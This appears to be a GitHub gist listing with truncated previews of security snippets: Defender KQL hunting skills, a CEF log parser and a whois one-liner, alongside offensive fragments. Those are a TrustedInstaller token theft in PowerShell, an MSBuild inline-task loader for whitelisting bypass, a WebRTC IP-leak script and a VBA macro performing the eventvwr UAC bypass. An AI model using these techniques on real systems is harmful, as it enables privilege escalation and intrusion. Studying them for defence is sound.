This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Descriptor: | |
Name: EmailHuntingCustomKQL | |
DisplayName: Defender KQL for email discovery | |
Description: Skills to query email logs in M365 Advanced Hunting | |
SkillGroups: | |
- Format: KQL | |
Skills: | |
- Name: GetLatestEmailsByRecipientSender | |
DisplayName: Get Latest Emails By Recipient or Sender |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Descriptor: | |
Name: EmailHuntingCustomKQL | |
DisplayName: Defender KQL for email discovery | |
Description: Skills to query email logs in M365 Advanced Hunting | |
SkillGroups: | |
- Format: KQL | |
Skills: | |
- Name: GetLatestEmailsByRecipientSender | |
DisplayName: Get Latest Emails By Recipient or Sender |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Slightly different version from tyranidlair, other functions used from NtObjectManager | |
Uninstall-Module NtObjectManager | |
Install-Module -Name NtObjectManager | |
Stop-Service TrustedInstaller | |
Start-Service TrustedInstaller | |
$tipid = get-process TrustedInstaller | select -expand id | |
$token = Get-NtTokenFromProcess -ProcessId $tipid | |
$current = Get-NtThread -Current -PseudoHandle |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- Original work by https://gist.github.com/subTee --> | |
<!-- Run like C:\Windows\Microsoft.NET\Framework\v4.0.30319>msbuild c:\temp\msbuild_sc_alloc.csproj --> | |
<Target Name="Hello"> | |
<FragmentExample /> | |
<MeterExecute /> | |
</Target> | |
<UsingTask TaskName="FragmentExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
headers = event[@ceffield].match(/.*?CEF:\s?(\d+)\|([^|]*)\|([^|]*)\|([^|]*)\|([^|]*)\|([^\|\\]*(?:\\.[^\|\\]*)*)\|([^|]*)\|(.*)/).to_a | |
event['deviceVendor'] = headers[2] | |
event['deviceProduct'] = headers[3] | |
event['deviceVersion'] = headers[4] | |
event['deviceEventClassId'] = headers[5] | |
event['name'] = headers[6] | |
event['severity'] = headers[7] | |
# Now, try to break out the Extension Dictionary | |
unless headers[8].nil? | |
ext = headers[8].scan(/(?:_+)?([\w.:\[\]]+)=(.*?(?=(?:\s[\w.:\[\]]+=|$)))/).to_a |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
whois 1.2.3.4 | grep origin | awk -F: '{print $2}' | tr -d '[:space:]' | xargs -i whois -h whois.ripe.net -T route {} -i origin | egrep "route: " | awk '{print $NF}' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<script> | |
//get the IP addresses associated with an account | |
function getIPs(callback) { | |
//get the IP addresses associated with an accountfunction getIPs(callback){ | |
var ip_dups = {}; | |
//compatibility for firefox and chrome | |
var RTCPeerConnection = window.RTCPeerConnection |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
' Sleep is caught (may use ping instead?) | |
' Obfusc may be needed | |
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) | |
Private Sub CommandButton1_Click() | |
Set WSobj = CreateObject("WScript.Shell") | |
WSobj.RegWrite "HKCU\Software\Classes\mscfile\shell\open\command\", "" | |
WSobj.RegWrite "HKCU\Software\Classes\mscfile\shell\open\command\", "C:\windows\system32\cmd.exe", "REG_SZ" | |
WSobj.Run ("C:\Windows\System32\eventvwr.exe") | |
Sleep 2000 | |
WSobj.RegDelete "HKCU\Software\Classes\mscfile\shell\open\command\" |